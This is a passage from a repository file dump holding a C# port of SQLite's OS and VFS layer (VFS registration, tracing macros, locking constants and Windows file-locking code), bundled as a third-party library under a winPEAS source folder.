nMicro );\n    }\n    static int sqlite3OsCurrentTime( sqlite3_vfs pVfs, ref double pTimeOut )\n    {\n      return pVfs.xCurrentTime( pVfs, ref pTimeOut );\n    }\n\n    static int sqlite3OsOpenMalloc(\n    ref sqlite3_vfs pVfs,\n    string zFile,\n    ref sqlite3_file ppFile,\n    int flags,\n    ref int pOutFlags\n    )\n    {\n      int rc = SQLITE_NOMEM;\n      sqlite3_file pFile;\n      pFile = new sqlite3_file(); //sqlite3Malloc(ref pVfs.szOsFile);\n      if ( pFile != null )\n      {\n        rc = sqlite3OsOpen( pVfs, zFile, pFile, flags, ref pOutFlags );\n        if ( rc != SQLITE_OK )\n        {\n          pFile = null; // was  //sqlite3DbFree(db,ref  pFile);\n        }\n        else\n        {\n          ppFile = pFile;\n        }\n      }\n      return rc;\n    }\n    static int sqlite3OsCloseFree( sqlite3_file pFile )\n    {\n      int rc = SQLITE_OK;\n      Debug.Assert( pFile != null );\n      rc = sqlite3OsClose( pFile );\n      //sqlite3_free( ref  pFile );\n      return rc;\n    }\n\n    /*\n    ** The list of all registered VFS implementations.\n    */\n    static sqlite3_vfs vfsList;\n    //#define vfsList GLOBAL(sqlite3_vfs *, vfsList)\n\n    /*\n    ** Locate a VFS by name.  If no name is given, simply return the\n    ** first VFS on the list.\n    */\n    static bool isInit = false;\n\n    static sqlite3_vfs sqlite3_vfs_find( string zVfs )\n    {\n      sqlite3_vfs pVfs = null;\n#if SQLITE_THREADSAFE\nsqlite3_mutex mutex;\n#endif\n#if !SQLITE_OMIT_AUTOINIT\n      int rc = sqlite3_initialize();\n      if ( rc != 0 ) return null;\n#endif\n#if SQLITE_THREADSAFE\nmutex = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER);\n#endif\n      sqlite3_mutex_enter( mutex );\n      for ( pVfs = vfsList ; pVfs != null ; pVfs = pVfs.pNext )\n      {\n        if ( zVfs == null || zVfs == \"\" ) break;\n        if ( zVfs == pVfs.zName ) break; //strcmp(zVfs, pVfs.zName) == null) break;\n      }\n      sqlite3_mutex_leave( mutex );\n      return pVfs;\n    }\n\n    /*\n    ** Unlink a VFS from the linked list\n    */\n    static void vfsUnlink( sqlite3_vfs pVfs )\n    {\n      Debug.Assert( sqlite3_mutex_held( sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ) ) );\n      if ( pVfs == null )\n      {\n        /* No-op */\n      }\n      else if ( vfsList == pVfs )\n      {\n        vfsList = pVfs.pNext;\n      }\n      else if ( vfsList != null )\n      {\n        sqlite3_vfs p = vfsList;\n        while ( p.pNext != null && p.pNext != pVfs )\n        {\n          p = p.pNext;\n        }\n        if ( p.pNext == pVfs )\n        {\n          p.pNext = pVfs.pNext;\n        }\n      }\n    }\n\n    /*\n    ** Register a VFS with the system.  It is harmless to register the same\n    ** VFS multiple times.  The new VFS becomes the default if makeDflt is\n    ** true.\n    */\n    static int sqlite3_vfs_register( sqlite3_vfs pVfs, int makeDflt )\n    {\n      sqlite3_mutex mutex;\n#if !SQLITE_OMIT_AUTOINIT\n      int rc = sqlite3_initialize();\n      if ( rc != 0 ) return rc;\n#endif\n      mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER );\n      sqlite3_mutex_enter( mutex );\n      vfsUnlink( pVfs );\n      if ( makeDflt != 0 || vfsList == null )\n      {\n        pVfs.pNext = vfsList;\n        vfsList = pVfs;\n      }\n      else\n      {\n        pVfs.pNext = vfsList.pNext;\n        vfsList.pNext = pVfs;\n      }\n      Debug.Assert( vfsList != null );\n      sqlite3_mutex_leave( mutex );\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Unregister a VFS so that it is no longer accessible.\n    */\n    static int sqlite3_vfs_unregister( sqlite3_vfs pVfs )\n    {\n#if SQLITE_THREADSAFE\nsqlite3_mutex mutex = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER);\n#endif\n      sqlite3_mutex_enter( mutex );\n      vfsUnlink( pVfs );\n      sqlite3_mutex_leave( mutex );\n      return SQLITE_OK;\n    }\n  }\n}\n\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/os_common_h.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2004 May 22\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    ******************************************************************************\n    **\n    ** This file contains macros and a little bit of code that is common to\n    ** all of the platform-specific files (os_*.c) and is #included into those\n    ** files.\n    **\n    ** This file should be #included by the os_*.c files only.  It is not a\n    ** general purpose header file.\n    **\n    ** $Id: os_common.h,v 1.38 2009/02/24 18:40:50 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#if !_OS_COMMON_H_\n    //#define _OS_COMMON_H_\n    /*\n    ** At least two bugs have slipped in because we changed the MEMORY_DEBUG\n    ** macro to SQLITE_DEBUG and some older makefiles have not yet made the\n    ** switch.  The following code should catch this problem at compile-time.\n    */\n#if MEMORY_DEBUG\n//# error \"The MEMORY_DEBUG macro is obsolete.  Use SQLITE_DEBUG instead.\"\n#endif\n\n#if SQLITE_DEBUG || TRACE\n    static bool sqlite3OsTrace = false;\n    static void OSTRACE1( string X ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X ); }\n    static void OSTRACE2( string X, object Y ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y ); }\n    static void OSTRACE3( string X, object Y, object Z ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z ); }\n    static void OSTRACE4( string X, object Y, object Z, object A ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A ); }\n    static void OSTRACE5( string X, object Y, object Z, object A, object B ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B ); }\n    static void OSTRACE6( string X, object Y, object Z, object A, object B, object C ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B, C ); }\n    static void OSTRACE7( string X, object Y, object Z, object A, object B, object C, object D ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B, C, D ); }\n#else\n//#define OSTRACE1(X)\n//#define OSTRACE2(X,Y)\n//#define OSTRACE3(X,Y,Z)\n//#define OSTRACE4(X,Y,Z,A)\n//#define OSTRACE5(X,Y,Z,A,B)\n//#define OSTRACE6(X,Y,Z,A,B,C)\n//#define OSTRACE7(X,Y,Z,A,B,C,D)\n#endif\n\n    /*\n** Macros for performance tracing.  Normally turned off.  Only works\n** on i486 hardware.\n*/\n#if SQLITE_PERFORMANCE_TRACE\n\n/*\n** hwtime.h contains inline assembler code for implementing\n** high-performance timing routines.\n*/\n//#include \"hwtime.h\"\n\nstatic sqlite_u3264 g_start;\nstatic sqlite_u3264 g_elapsed;\n//#define TIMER_START       g_start=sqlite3Hwtime()\n//#define TIMER_END         g_elapsed=sqlite3Hwtime()-g_start\n//#define TIMER_ELAPSED     g_elapsed\n#else\n    const int TIMER_START = 0;   //#define TIMER_START\n    const int TIMER_END = 0;     //#define TIMER_END\n    const int TIMER_ELAPSED = 0; //#define TIMER_ELAPSED     ((sqlite_u3264)0)\n#endif\n\n    /*\n** If we compile with the SQLITE_TEST macro set, then the following block\n** of code will give us the ability to simulate a disk I/O error.  This\n** is used for testing the I/O recovery logic.\n*/\n#if SQLITE_TEST\n\n    //static int sqlite3_io_error_hit = 0;            /* Total number of I/O Errors */\n    //static int sqlite3_io_error_hardhit = 0;        /* Number of non-benign errors */\n    //static int sqlite3_io_error_pending = 0;        /* Count down to first I/O error */\n    //static int sqlite3_io_error_persist = 0;        /* True if I/O errors persist */\n    static int sqlite3_io_error_benign = 0;         /* True if errors are benign */\n    //static int sqlite3_diskfull_pending = 0;\n    //static int sqlite3_diskfull = 0;\n    static void SimulateIOErrorBenign( int X ) { sqlite3_io_error_benign = ( X ); }\n    //#define SimulateIOError(CODE)  \\\n    //  if( (sqlite3_io_error_persist && sqlite3_io_error_hit) \\\n    //       || sqlite3_io_error_pending-- == 1 )  \\\n    //              { local_ioerr(); CODE; }\n    static bool SimulateIOError()\n    {\n      if ( ( sqlite3_io_error_persist.iValue != 0 && sqlite3_io_error_hit.iValue != 0 )\n      || sqlite3_io_error_pending.iValue-- == 1 )\n      {\n        local_ioerr();\n        return true;\n      }\n      return false;\n    }\n\n    static void local_ioerr()\n    {\n#if TRACE\n      IOTRACE( \"IOERR\\n\" );\n#endif\n      sqlite3_io_error_hit.iValue++;\n      if ( sqlite3_io_error_benign == 0 ) sqlite3_io_error_hardhit.iValue++;\n    }\n    //#define SimulateDiskfullError(CODE) \\\n    //   if( sqlite3_diskfull_pending ){ \\\n    //     if( sqlite3_diskfull_pending == 1 ){ \\\n    //       local_ioerr(); \\\n    //       sqlite3_diskfull = 1; \\\n    //       sqlite3_io_error_hit = 1; \\\n    //       CODE; \\\n    //     }else{ \\\n    //       sqlite3_diskfull_pending--; \\\n    //     } \\\n    //   }\n    static bool SimulateDiskfullError()\n    {\n      if ( sqlite3_diskfull_pending.iValue != 0 )\n      {\n        if ( sqlite3_diskfull_pending.iValue == 1 )\n        {\n          local_ioerr();\n          sqlite3_diskfull.iValue = 1;\n          sqlite3_io_error_hit.iValue = 1;\n          return true;\n        }\n        else\n        {\n          sqlite3_diskfull_pending.iValue--;\n        }\n      }\n      return false;\n    }\n#else\n//#define SimulateIOErrorBenign(X)\n//#define SimulateIOError(A)\n//#define SimulateDiskfullError(A)\n#endif\n\n    /*\n** When testing, keep a count of the number of open files.\n*/\n#if SQLITE_TEST\n    //int sqlite3_open_file_count = 0;\n    static void OpenCounter( int X )\n    {\n      sqlite3_open_file_count.iValue += ( X );\n    }\n#else\n//#define OpenCounter(X)\n#endif\n    //#endif //* !_OS_COMMON_H_) */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/os_h.cs",
    "content": "#define SQLITE_OS_WIN\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 16\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    ******************************************************************************\n    **\n    ** This header file (together with is companion C source-code file\n    ** \"os.c\") attempt to abstract the underlying operating system so that\n    ** the SQLite library will work on both POSIX and windows systems.\n    **\n    ** This header file is #include-ed by sqliteInt.h and thus ends up\n    ** being included by every source file.\n    **\n    ** $Id: os.h,v 1.108 2009/02/05 16:31:46 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n#if !_SQLITE_OS_H_\n    //#define _SQLITE_OS_H_\n\n    /*\n    ** Figure out if we are dealing with Unix, Windows, or some other\n    ** operating system.  After the following block of preprocess macros,\n    ** all of SQLITE_OS_UNIX, SQLITE_OS_WIN, SQLITE_OS_OS2, and SQLITE_OS_OTHER\n    ** will defined to either 1 or 0.  One of the four will be 1.  The other\n    ** three will be 0.\n    */\n    //#if defined(SQLITE_OS_OTHER)\n    //# if SQLITE_OS_OTHER==1\n    //#   undef SQLITE_OS_UNIX\n    //#   define SQLITE_OS_UNIX 0\n    //#   undef SQLITE_OS_WIN\n    //#   define SQLITE_OS_WIN 0\n    //#   undef SQLITE_OS_OS2\n    //#   define SQLITE_OS_OS2 0\n    //# else\n    //#   undef SQLITE_OS_OTHER\n    //# endif\n    //#endif\n    //#if !(SQLITE_OS_UNIX) && !SQLITE_OS_OTHER)\n    //# define SQLITE_OS_OTHER 0\n    //# ifndef SQLITE_OS_WIN\n    //#   if defined(_WIN32) || defined(WIN32) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__BORLANDC__)\n    //#     define SQLITE_OS_WIN 1\n    //#     define SQLITE_OS_UNIX 0\n    //#     define SQLITE_OS_OS2 0\n    //#   elif defined(__EMX__) || defined(_OS2) || defined(OS2) || defined(_OS2_) || defined(__OS2__)\n    //#     define SQLITE_OS_WIN 0\n    //#     define SQLITE_OS_UNIX 0\n    //#     define SQLITE_OS_OS2 1\n    //#   else\n    //#     define SQLITE_OS_WIN 0\n    //#     define SQLITE_OS_UNIX 1\n    //#     define SQLITE_OS_OS2 0\n    //#  endif\n    //# else\n    //#  define SQLITE_OS_UNIX 0\n    //#  define SQLITE_OS_OS2 0\n    //# endif\n    //#else\n    //# ifndef SQLITE_OS_WIN\n    //#  define SQLITE_OS_WIN 0\n    //# endif\n    //#endif\n\n    const bool SQLITE_OS_WIN = true;\n    const bool SQLITE_OS_UNIX = false;\n    const bool SQLITE_OS_OS2 = false;\n\n    /*\n    ** Determine if we are dealing with WindowsCE - which has a much\n    ** reduced API.\n    */\n    //#if defined(_WIN32_WCE)\n    //# define SQLITE_OS_WINCE 1\n    //#else\n    //# define SQLITE_OS_WINCE 0\n    //#endif\n\n    /*\n    ** Define the maximum size of a temporary filename\n    */\n#if SQLITE_OS_WIN\n    //# include <windows.h>\n    const int MAX_PATH = 260;\n    const int SQLITE_TEMPNAME_SIZE = ( MAX_PATH + 50 ); //# define SQLITE_TEMPNAME_SIZE (MAX_PATH+50)\n#elif SQLITE_OS_OS2\n# if FALSE //(__GNUC__ > 3 || __GNUC__ == 3 && __GNUC_MINOR__ >= 3) && OS2_HIGH_MEMORY)\n//#  include <os2safe.h> /* has to be included before os2.h for linking to work */\n# endif\n//# define INCL_DOSDATETIME\n//# define INCL_DOSFILEMGR\n//# define INCL_DOSERRORS\n//# define INCL_DOSMISC\n//# define INCL_DOSPROCESS\n//# define INCL_DOSMODULEMGR\n//# define INCL_DOSSEMAPHORES\n//# include <os2.h>\n//# include <uconv.h>\n//# define SQLITE_TEMPNAME_SIZE (CCHMAXPATHCOMP)\n//#else\n//# define SQLITE_TEMPNAME_SIZE 200\n#endif\n\n    /* If the SET_FULLSYNC macro is not defined above, then make it\n** a no-op\n*/\n    //#if !SET_FULLSYNC\n    //# define SET_FULLSYNC(x,y)\n    //#endif\n\n    /*\n    ** The default size of a disk sector\n    */\n#if !SQLITE_DEFAULT_SECTOR_SIZE\n    const int SQLITE_DEFAULT_SECTOR_SIZE = 512;//# define SQLITE_DEFAULT_SECTOR_SIZE 512\n#endif\n\n    /*\n** Temporary files are named starting with this prefix followed by 16 random\n** alphanumeric characters, and no file extension. They are stored in the\n** OS's standard temporary file directory, and are deleted prior to exit.\n** If sqlite is being embedded in another program, you may wish to change the\n** prefix to reflect your program's name, so that if your program exits\n** prematurely, old temporary files can be easily identified. This can be done\n** using -DSQLITE_TEMP_FILE_PREFIX=myprefix_ on the compiler command line.\n**\n** 2006-10-31:  The default prefix used to be \"sqlite_\".  But then\n** Mcafee started using SQLite in their anti-virus product and it\n** started putting files with the \"sqlite\" name in the c:/temp folder.\n** This annoyed many windows users.  Those users would then do a\n** Google search for \"sqlite\", find the telephone numbers of the\n** developers and call to wake them up at night and complain.\n** For this reason, the default name prefix is changed to be \"sqlite\"\n** spelled backwards.  So the temp files are still identified, but\n** anybody smart enough to figure out the code is also likely smart\n** enough to know that calling the developer will not help get rid\n** of the file.\n*/\n#if !SQLITE_TEMP_FILE_PREFIX\n    const string SQLITE_TEMP_FILE_PREFIX = \"etilqs_\"; //# define SQLITE_TEMP_FILE_PREFIX \"etilqs_\"\n#endif\n\n    /*\n** The following values may be passed as the second argument to\n** sqlite3OsLock(). The various locks exhibit the following semantics:\n**\n** SHARED:    Any number of processes may hold a SHARED lock simultaneously.\n** RESERVED:  A single process may hold a RESERVED lock on a file at\n**            any time. Other processes may hold and obtain new SHARED locks.\n** PENDING:   A single process may hold a PENDING lock on a file at\n**            any one time. Existing SHARED locks may persist, but no new\n**            SHARED locks may be obtained by other processes.\n** EXCLUSIVE: An EXCLUSIVE lock precludes all other locks.\n**\n** PENDING_LOCK may not be passed directly to sqlite3OsLock(). Instead, a\n** process that requests an EXCLUSIVE lock may actually obtain a PENDING\n** lock. This can be upgraded to an EXCLUSIVE lock by a subsequent call to\n** sqlite3OsLock().\n*/\n    const int NO_LOCK = 0;\n    const int SHARED_LOCK = 1;\n    const int RESERVED_LOCK = 2;\n    const int PENDING_LOCK = 3;\n    const int EXCLUSIVE_LOCK = 4;\n\n    /*\n    ** File Locking Notes:  (Mostly about windows but also some info for Unix)\n    **\n    ** We cannot use LockFileEx() or UnlockFileEx() on Win95/98/ME because\n    ** those functions are not available.  So we use only LockFile() and\n    ** UnlockFile().\n    **\n    ** LockFile() prevents not just writing but also reading by other processes.\n    ** A SHARED_LOCK is obtained by locking a single randomly-chosen\n    ** byte out of a specific range of bytes. The lock byte is obtained at\n    ** random so two separate readers can probably access the file at the\n    ** same time, unless they are unlucky and choose the same lock byte.\n    ** An EXCLUSIVE_LOCK is obtained by locking all bytes in the range.\n    ** There can only be one writer.  A RESERVED_LOCK is obtained by locking\n    ** a single byte of the file that is designated as the reserved lock byte.\n    ** A PENDING_LOCK is obtained by locking a designated byte different from\n    ** the RESERVED_LOCK byte.\n    **\n    ** On WinNT/2K/XP systems, LockFileEx() and UnlockFileEx() are available,\n    ** which means we can use reader/writer locks.  When reader/writer locks\n    ** are used, the lock is placed on the same range of bytes that is used\n    ** for probabilistic locking in Win95/98/ME.  Hence, the locking scheme\n    ** will support two or more Win95 readers or two or more WinNT readers.\n    ** But a single Win95 reader will lock out all WinNT readers and a single\n    ** WinNT reader will lock out all other Win95 readers.\n    **\n    ** The following #defines specify the range of bytes used for locking.\n    ** SHARED_SIZE is the number of bytes available in the pool from which\n    ** a random byte is selected for a shared lock.  The pool of bytes for\n    ** shared locks begins at SHARED_FIRST.\n    **\n    ** The same locking strategy and\n    ** byte ranges are used for Unix.  This leaves open the possiblity of having\n    ** clients on win95, winNT, and unix all talking to the same shared file\n    ** and all locking correctly.  To do so would require that samba (or whatever\n    ** tool is being used for file sharing) implements locks correctly between\n    ** windows and unix.  I'm guessing that isn't likely to happen, but by\n    ** using the same locking range we are at least open to the possibility.\n    **\n    ** Locking in windows is manditory.  For this reason, we cannot store\n    ** actual data in the bytes used for locking.  The pager never allocates\n    ** the pages involved in locking therefore.  SHARED_SIZE is selected so\n    ** that all locks will fit on a single page even at the minimum page size.\n    ** PENDING_BYTE defines the beginning of the locks.  By default PENDING_BYTE\n    ** is set high so that we don't have to allocate an unused page except\n    ** for very large databases.  But one should test the page skipping logic\n    ** by setting PENDING_BYTE low and running the entire regression suite.\n    **\n    ** Changing the value of PENDING_BYTE results in a subtly incompatible\n    ** file format.  Depending on how it is changed, you might not notice\n    ** the incompatibility right away, even running a full regression test.\n    ** The default location of PENDING_BYTE is the first byte past the\n    ** 1GB boundary.\n    **\n    */\n    static int PENDING_BYTE = 0x40000000; //sqlite3PendingByte;\n\n    static int RESERVED_BYTE = ( PENDING_BYTE + 1 );\n    static int SHARED_FIRST = ( PENDING_BYTE + 2 );\n    static int SHARED_SIZE = 510;\n\n    /*\n    ** Functions for accessing sqlite3_file methods\n    */\n    //int sqlite3OsClose(sqlite3_file*);\n    //int sqlite3OsRead(sqlite3_file*, void*, int amt, i64 offset);\n    //int sqlite3OsWrite(sqlite3_file*, const void*, int amt, i64 offset);\n    //int sqlite3OsTruncate(sqlite3_file*, i64 size);\n    //int sqlite3OsSync(sqlite3_file*, int);\n    //int sqlite3OsFileSize(sqlite3_file*, i64 pSize);\n    //int sqlite3OsLock(sqlite3_file*, int);\n    //int sqlite3OsUnlock(sqlite3_file*, int);\n    //int sqlite3OsCheckReservedLock(sqlite3_file *id, int pResOut);\n    //int sqlite3OsFileControl(sqlite3_file*,int,void*);\n    //#define SQLITE_FCNTL_DB_UNCHANGED 0xca093fa0\n    const u32 SQLITE_FCNTL_DB_UNCHANGED = 0xca093fa0;\n\n    //int sqlite3OsSectorSize(sqlite3_file *id);\n    //int sqlite3OsDeviceCharacteristics(sqlite3_file *id);\n\n    /*\n    ** Functions for accessing sqlite3_vfs methods\n    */\n    //int sqlite3OsOpen(sqlite3_vfs *, const char *, sqlite3_file*, int, int *);\n    //int sqlite3OsDelete(sqlite3_vfs *, const char *, int);\n    //int sqlite3OsAccess(sqlite3_vfs *, const char *, int, int pResOut);\n    //int sqlite3OsFullPathname(sqlite3_vfs *, const char *, int, char *);\n#if !SQLITE_OMIT_LOAD_EXTENSION\n    //void *sqlite3OsDlOpen(sqlite3_vfs *, const char *);\n    //void sqlite3OsDlError(sqlite3_vfs *, int, char *);\n    //void (*sqlite3OsDlSym(sqlite3_vfs *, void *, const char *))(void);\n    //void sqlite3OsDlClose(sqlite3_vfs *, void *);\n#endif\n    //int sqlite3OsRandomness(sqlite3_vfs *, int, char *);\n    //int sqlite3OsSleep(sqlite3_vfs *, int);\n    //int sqlite3OsCurrentTime(sqlite3_vfs *, double*);\n\n    /*\n    ** Convenience functions for opening and closing files using\n    ** sqlite3Malloc() to obtain space for the file-handle structure.\n    */\n    //int sqlite3OsOpenMalloc(sqlite3_vfs *, const char *, sqlite3_file **, int,int*);\n    //int sqlite3OsCloseFree(sqlite3_file *);\n#endif // * _SQLITE_OS_H_ */\n\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/os_win_c.cs",
    "content": "#define SQLITE_OS_WIN\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing System.Threading;\nusing HANDLE = System.IntPtr;\nusing DWORD = System.UInt64;\nusing i64 = System.Int64;\nusing u8 = System.Byte;\nusing u32 = System.UInt32;\n\nusing sqlite3_int64 = System.Int64;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  internal static class HelperMethods\n  {\n    public static bool IsRunningMediumTrust()\n    {\n      // placeholder method\n      // this is where it needs to check if it's running in an ASP.Net MediumTrust or lower environment\n      // in order to pick the appropriate locking strategy\n      return false;\n    }\n  }\n\n  public partial class CSSQLite\n  {\n    /// <summary>\n    /// Basic locking strategy for Console/Winform applications\n    /// </summary>\n    private class LockingStrategy\n    {\n      [DllImport( \"kernel32.dll\" )]\n      static extern bool LockFileEx( IntPtr hFile, uint dwFlags, uint dwReserved,\n      uint nNumberOfBytesToLockLow, uint nNumberOfBytesToLockHigh,\n      [In] ref System.Threading.NativeOverlapped lpOverlapped );\n\n      const int LOCKFILE_FAIL_IMMEDIATELY = 1;\n\n      public virtual void LockFile( sqlite3_file pFile, long offset, long length )\n      {\n        pFile.fs.Lock( offset, length );\n      }\n\n      public virtual int SharedLockFile( sqlite3_file pFile, long offset, long length )\n      {\n        Debug.Assert( length == SHARED_SIZE );\n        Debug.Assert( offset == SHARED_FIRST );\n                NativeOverlapped ovlp = new System.Threading.NativeOverlapped\n                {\n                    OffsetLow = (int)offset,\n                    OffsetHigh = 0,\n                    EventHandle = IntPtr.Zero\n                };\n\n                return LockFileEx( pFile.fs.Handle, LOCKFILE_FAIL_IMMEDIATELY, 0, (uint)length, 0, ref ovlp ) ? 1 : 0;\n      }\n\n      public virtual void UnlockFile( sqlite3_file pFile, long offset, long length )\n      {\n        pFile.fs.Unlock( offset, length );\n      }\n    }\n\n    /// <summary>\n    /// Locking strategy for Medium Trust. It uses the same trick used in the native code for WIN_CE\n    /// which doesn't support LockFileEx as well.\n    /// </summary>\n    private class MediumTrustLockingStrategy : LockingStrategy\n    {\n      public override int SharedLockFile( sqlite3_file pFile, long offset, long length )\n      {\n        Debug.Assert( length == SHARED_SIZE );\n        Debug.Assert( offset == SHARED_FIRST );\n        try\n        {\n          pFile.fs.Lock( offset + pFile.sharedLockByte, 1 );\n        }\n        catch ( IOException )\n        {\n          return 0;\n        }\n        return 1;\n      }\n    }\n\n\n\n    /*\n    ** 2004 May 22\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    ******************************************************************************\n    **\n    ** This file contains code that is specific to windows.\n    **\n    ** $Id: os_win.c,v 1.157 2009/08/05 04:08:30 shane Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n#if SQLITE_OS_WIN               // * This file is used for windows only */\n\n\n    /*\n** A Note About Memory Allocation:\n**\n** This driver uses malloc()/free() directly rather than going through\n** the SQLite-wrappers sqlite3Malloc()///sqlite3DbFree(db,ref  ).  Those wrappers\n** are designed for use on embedded systems where memory is scarce and\n** malloc failures happen frequently.  Win32 does not typically run on\n** embedded systems, and when it does the developers normally have bigger\n** problems to worry about than running out of memory.  So there is not\n** a compelling need to use the wrappers.\n**\n** But there is a good reason to not use the wrappers.  If we use the\n** wrappers then we will get simulated malloc() failures within this\n** driver.  And that causes all kinds of problems for our tests.  We\n** could enhance SQLite to deal with simulated malloc failures within\n** the OS driver, but the code to deal with those failure would not\n** be exercised on Linux (which does not need to malloc() in the driver)\n** and so we would have difficulty writing coverage tests for that\n** code.  Better to leave the code out, we think.\n**\n** The point of this discussion is as follows:  When creating a new\n** OS layer for an embedded system, if you use this file as an example,\n** avoid the use of malloc()/free().  Those routines work ok on windows\n** desktops but not so well in embedded systems.\n*/\n\n    //#include <winbase.h>\n\n#if __CYGWIN__\n//# include <sys/cygwin.h>\n#endif\n\n    /*\n** Macros used to determine whether or not to use threads.\n*/\n#if THREADSAFE\n//# define SQLITE_W32_THREADS 1\n#endif\n\n    /*\n** Include code that is common to all os_*.c files\n*/\n    //#include \"os_common.h\"\n\n    /*\n    ** Some microsoft compilers lack this definition.\n    */\n#if !INVALID_FILE_ATTRIBUTES\n    //# define INVALID_FILE_ATTRIBUTES ((DWORD)-1)\n    const int INVALID_FILE_ATTRIBUTES = -1;\n#endif\n\n    /*\n** Determine if we are dealing with WindowsCE - which has a much\n** reduced API.\n*/\n#if SQLITE_OS_WINCE\n//# define AreFileApisANSI() 1\n//# define GetDiskFreeSpaceW() 0\n#endif\n\n    /*\n** WinCE lacks native support for file locking so we have to fake it\n** with some code of our own.\n*/\n#if SQLITE_OS_WINCE\ntypedef struct winceLock {\nint nReaders;       /* Number of reader locks obtained */\nBOOL bPending;      /* Indicates a pending lock has been obtained */\nBOOL bReserved;     /* Indicates a reserved lock has been obtained */\nBOOL bExclusive;    /* Indicates an exclusive lock has been obtained */\n} winceLock;\n#endif\n\n    private static LockingStrategy lockingStrategy = HelperMethods.IsRunningMediumTrust() ? new MediumTrustLockingStrategy() : new LockingStrategy();\n\n    /*\n    ** The winFile structure is a subclass of sqlite3_file* specific to the win32\n    ** portability layer.\n    */\n    //typedef struct sqlite3_file sqlite3_file;\n    public partial class sqlite3_file\n    {\n      public FileStream fs;          /* Filestream access to this file*/\n      // public HANDLE h;            /* Handle for accessing the file */\n      public int locktype;           /* Type of lock currently held on this file */\n      public int sharedLockByte;     /* Randomly chosen byte used as a shared lock */\n      public DWORD lastErrno;        /* The Windows errno from the last I/O error */\n      public DWORD sectorSize;       /* Sector size of the device file is on */\n#if SQLITE_OS_WINCE\nWCHAR *zDeleteOnClose;  /* Name of file to delete when closing */\nHANDLE hMutex;          /* Mutex used to control access to shared lock */\nHANDLE hShared;         /* Shared memory segment used for locking */\nwinceLock local;        /* Locks obtained by this instance of sqlite3_file */\nwinceLock *shared;      /* Global shared lock memory for the file  */\n#endif\n\n      public void Clear()\n      {\n        pMethods = null;\n        fs = null;\n        locktype = 0;\n        sharedLockByte = 0;\n        lastErrno = 0;\n        sectorSize = 0;\n      }\n    };\n\n    /*\n    ** Forward prototypes.\n    */\n    //static int getSectorSize(\n    //    sqlite3_vfs *pVfs,\n    //    const char *zRelative     /* UTF-8 file name */\n    //);\n\n    /*\n    ** The following variable is (normally) set once and never changes\n    ** thereafter.  It records whether the operating system is Win95\n    ** or WinNT.\n    **\n    ** 0:   Operating system unknown.\n    ** 1:   Operating system is Win95.\n    ** 2:   Operating system is WinNT.\n    **\n    ** In order to facilitate testing on a WinNT system, the test fixture\n    ** can manually set this value to 1 to emulate Win98 behavior.\n    */\n#if SQLITE_TEST\n    int sqlite3_os_type = 0;\n#else\nstatic int sqlite3_os_type = 0;\n#endif\n\n    /*\n** Return true (non-zero) if we are running under WinNT, Win2K, WinXP,\n** or WinCE.  Return false (zero) for Win95, Win98, or WinME.\n**\n** Here is an interesting observation:  Win95, Win98, and WinME lack\n** the LockFileEx() API.  But we can still statically link against that\n** API as long as we don't call it when running Win95/98/ME.  A call to\n** this routine is used to determine if the host is Win95/98/ME or\n** WinNT/2K/XP so that we will know whether or not we can safely call\n** the LockFileEx() API.\n*/\n#if SQLITE_OS_WINCE\n//# define isNT()  (1)\n#else\n    static bool isNT()\n    {\n      //if (sqlite3_os_type == 0)\n      //{\n      //  OSVERSIONINFO sInfo;\n      //  sInfo.dwOSVersionInfoSize = sInfo.Length;\n      //  GetVersionEx(&sInfo);\n      //  sqlite3_os_type = sInfo.dwPlatformId == VER_PLATFORM_WIN32_NT ? 2 : 1;\n      //}\n      //return sqlite3_os_type == 2;\n      return Environment.OSVersion.Platform >= 